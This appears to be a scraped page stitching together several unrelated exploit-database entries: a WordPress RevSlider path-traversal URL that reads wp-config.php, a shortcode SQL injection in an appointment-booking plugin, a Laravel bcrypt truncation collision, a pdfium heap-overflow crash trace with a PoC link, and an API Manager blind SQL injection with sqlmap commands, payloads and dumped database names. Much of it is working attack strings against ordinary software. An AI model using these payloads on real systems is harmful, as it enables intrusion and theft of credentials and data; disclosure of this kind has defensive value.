http://www.example.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
HireHackking 
# Exploit Title: WordPress appointment-booking-calendar <=1.1.23 - Shortcode SQL injection
# Date: 2016-01-24
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.23
# OWASP Top10: A1-Injection
# Tested on: windows 10 + firefox + sqlmap 1.0.

===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in 
a calendar**. The booking form is linked to a **PayPal** payment process.

You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings 
that can be accepted for each time-slot."

(copy of readme file)


======================
EXPLOITATION TECHNIQUE
======================
remote

==============
SEVERITY LEVEL
==============

critical

================================
TECHNICAL DETAILS && DESCRIPTION
================================

A SQL injection flaw was discovered within the latest WordPress appointment-booking-calendar plugin version 1.1.20.

The flaw was found in the function to run when a shortcode is found within a page in the wordpress site.
The function mentioned use unsanitized attributes and a user authenticated as a editor, autor or 
administrator (compromised) can exploit this vulnerability by adding crafted shortcodes on a page or post.

The security risk of SQL injection vulnerabilities are extremely because by using this type of flaw, 
an attacker can compromise the entire web server.

================
PROOF OF CONCEPT
================

An attacker(editor, autor or administrator) can embed into a post the following shortcode...

[CPABC_APPOINTMENT_LIST calendar="-1 or sleep(10)#"]

... and the post will take ten seconds loading.

==========
 CREDITS
==========

Vulnerability discovered by:
	Joaquin Ramirez Martinez [i0 security-lab]
	strparser[at]gmail[dot]com
	https://www.facebook.com/I0-security-lab-524954460988147/
	https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


========
TIMELINE
========

2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
2016-01-25 released appointment-booking-calendar 1.1.24
2016-01-26 full disclosure
HireHackking 
source: https://www.securityfocus.com/bid/69849/info

Laravel is prone to a security weakness due to pseudo password hash collision.

Attackers can exploit this issue to bypass intended security restrictions. This may aid in further attacks. 

// user input password
$input = str_repeat('A',72);
// plaintext password
$pass1 =
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'mysupersecretpassword';
$pass2 =
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'longcatishere';
// hashed password
$hash1 = Hash::make($pass1);
$hash2 = Hash::make($pass2);
// match?
$status1 = Hash::check($input, $hash1)?'Yes':'No';
$status2 = Hash::check($input, $hash2)?'Yes':'No';

User 1
Desc. Value
$input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$pass1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmysupersecretpassword
Hash::make($pass1)
$2y$10$9oMcpTwHgTzR5ZUMqlnMMOx/P18QZ5e9054lq.pwxw1O9urX3JHHu
Hash::check($input, $hash1) Yes

User 2
Desc. Value
$input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$pass2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlongcatishere
Hash::make($pass2)
$2y$10$W7wwB4nLmFjrenJGmx1uauqhjzikZNZA0qzxH8wkbiSmVatCYrAUm
Hash::check($input, $hash2) Yes
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=626

The following crash was encountered in pdfium (the Chrome PDF renderer) during PDF fuzzing:

--- cut ---
==9326==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250001bf680 at pc 0x000000892375 bp 0x7ffca7393ea0 sp 0x7ffca7393e98
READ of size 4 at 0x6250001bf680 thread T0
    #0 0x892374 in opj_jp2_apply_pclr third_party/pdfium/third_party/libopenjpeg20/jp2.c:1018:18
    #1 0x88d536 in opj_jp2_decode third_party/pdfium/third_party/libopenjpeg20/jp2.c:1512:5
    #2 0x8580f6 in opj_decode third_party/pdfium/third_party/libopenjpeg20/openjpeg.c:412:10
    #3 0x5d8c02 in CJPX_Decoder::Init(unsigned char const*, unsigned int) third_party/pdfium/core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:742:11
    #4 0x5dc7d0 in CCodec_JpxModule::CreateDecoder(unsigned char const*, unsigned int, bool) third_party/pdfium/core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:866:10
    #5 0xb9909c in decoder third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:75:36
    #6 0xb9909c in CPDF_DIBSource::LoadJpxBitmap() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:698
    #7 0xb917d3 in CPDF_DIBSource::CreateDecoder() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:645:5
    #8 0xb8c8af in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:365:13
    #9 0xb75b33 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:308:7
    #10 0xb75693 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:143:13
    #11 0xba9823 in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1561:11
    #12 0xbaa67e in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1639:17
    #13 0xb7d368 in CPDF_ImageRenderer::StartLoadDIBSource() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:337:7
    #14 0xb77897 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:484:7
    #15 0xb64fb6 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:320:10
    #16 0xb70a25 in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1152:13
    #17 0xb6f633 in CPDF_ProgressiveRenderer::Start(IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1090:3
    #18 0x52c1f1 in FPDF_RenderPage_Retail(CRenderContext*, void*, int, int, int, int, int, int, int, IFSDK_PAUSE_Adapter*) third_party/pdfium/fpdfsdk/src/fpdfview.cpp:752:3
    #19 0x52b7fb in FPDF_RenderPageBitmap third_party/pdfium/fpdfsdk/src/fpdfview.cpp:507:3
    #20 0x4dae22 in RenderPage(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, void* const&, void* const&, int, Options const&) third_party/pdfium/samples/pdfium_test.cc:363:3
    #21 0x4dd558 in RenderPdf(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, char const*, unsigned long, Options const&) third_party/pdfium/samples/pdfium_test.cc:520:9
    #22 0x4de3d1 in main third_party/pdfium/samples/pdfium_test.cc:597:5
0x6250001bf680 is located 0 bytes to the right of 9600-byte region [0x6250001bd100,0x6250001bf680)
allocated by thread T0 here:
    #0 0x4b0154 in __interceptor_calloc
    #1 0x88219f in opj_j2k_update_image_data third_party/pdfium/third_party/libopenjpeg20/j2k.c:8157:57
    #2 0x8817d7 in opj_j2k_decode_tiles third_party/pdfium/third_party/libopenjpeg20/j2k.c:9603:23
    #3 0x869d57 in opj_j2k_exec third_party/pdfium/third_party/libopenjpeg20/j2k.c:7286:41
    #4 0x869d57 in opj_j2k_decode third_party/pdfium/third_party/libopenjpeg20/j2k.c:9796
    #5 0x88d234 in opj_jp2_decode third_party/pdfium/third_party/libopenjpeg20/jp2.c:1483:8
    #6 0x8580f6 in opj_decode third_party/pdfium/third_party/libopenjpeg20/openjpeg.c:412:10
    #7 0x5d8c02 in CJPX_Decoder::Init(unsigned char const*, unsigned int) third_party/pdfium/core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:742:11
    #8 0x5dc7d0 in CCodec_JpxModule::CreateDecoder(unsigned char const*, unsigned int, bool) third_party/pdfium/core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:866:10
    #9 0xb9909c in decoder third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:75:36
    #10 0xb9909c in CPDF_DIBSource::LoadJpxBitmap() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:698
    #11 0xb917d3 in CPDF_DIBSource::CreateDecoder() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:645:5
    #12 0xb8c8af in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:365:13
    #13 0xb75b33 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:308:7
    #14 0xb75693 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:143:13
    #15 0xba9823 in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1561:11
    #16 0xbaa67e in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1639:17
    #17 0xb7d368 in CPDF_ImageRenderer::StartLoadDIBSource() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:337:7
    #18 0xb77897 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:484:7
    #19 0xb64fb6 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:320:10
    #20 0xb70a25 in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1152:13
    #21 0xb6f633 in CPDF_ProgressiveRenderer::Start(IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1090:3
    #22 0x52c1f1 in FPDF_RenderPage_Retail(CRenderContext*, void*, int, int, int, int, int, int, int, IFSDK_PAUSE_Adapter*) third_party/pdfium/fpdfsdk/src/fpdfview.cpp:752:3
    #23 0x52b7fb in FPDF_RenderPageBitmap third_party/pdfium/fpdfsdk/src/fpdfview.cpp:507:3
    #24 0x4dae22 in RenderPage(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, void* const&, void* const&, int, Options const&) third_party/pdfium/samples/pdfium_test.cc:363:3
    #25 0x4dd558 in RenderPdf(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, char const*, unsigned long, Options const&) third_party/pdfium/samples/pdfium_test.cc:520:9
    #26 0x4de3d1 in main third_party/pdfium/samples/pdfium_test.cc:597:5

SUMMARY: AddressSanitizer: heap-buffer-overflow (pdfium_test+0x892374)
Shadow bytes around the buggy address:
  0x0c4a8002fe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a8002fe90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a8002fea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a8002feb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a8002fec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a8002fed0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002fee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002fef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002ff00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002ff10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002ff20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9326==ABORTING
--- cut ---

The crash was reported at https://code.google.com/p/chromium/issues/detail?id=554172. Attached is a PDF file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39321.zip
HireHackking 
gongwalker API Manager v1.1 - Blind SQL Injection

# Exploit Title: gongwalker API Manager v1.1 - Blind SQL Injection
# Date: 2016-01-25
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/gongwalker/ApiManager
# Software Link: https://github.com/gongwalker/ApiManager.git
# Version: v1.1
# Tested on: Debian

# =================== Vulnerability Description =================== #
Api Manager's index.php used tag parameters is vulnerable
http://127.0.0.1/vul_test/ApiManager/index.php?act=api&tag=1

# ========================= SqlMap Query ========================== #
sqlm -u "http://127.0.0.1/vul_test/ApiManager/index.php?act=api&tag=1" --level 4 --dbs --no-cast -p tag

# ================= SqlMap Result(get My Test DB) ================= #
Parameter: tag (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: act=api&tag=1' RLIKE (SELECT (CASE WHEN (9435=9435) THEN 1 ELSE 0x28 END)) AND 'uUNb'='uUNb

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: act=api&tag=1' AND (SELECT * FROM (SELECT(SLEEP(5)))qakZ) AND 'cSPF'='cSPF
---
[21:14:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0.11
[21:14:21] [INFO] fetching database names
[21:14:21] [INFO] fetching number of databases
[21:14:21] [INFO] resumed: 25
[21:14:21] [INFO] resumed: information_schema
[21:14:21] [INFO] resumed: "
[21:14:21] [INFO] resumed: ""
[21:14:21] [INFO] resumed: '
[21:14:21] [INFO] resumed: ''
[21:14:21] [INFO] resumed: '''
[21:14:21] [INFO] resumed: api
[21:14:21] [INFO] resumed: blackcat
[21:14:21] [INFO] resumed: edusec

...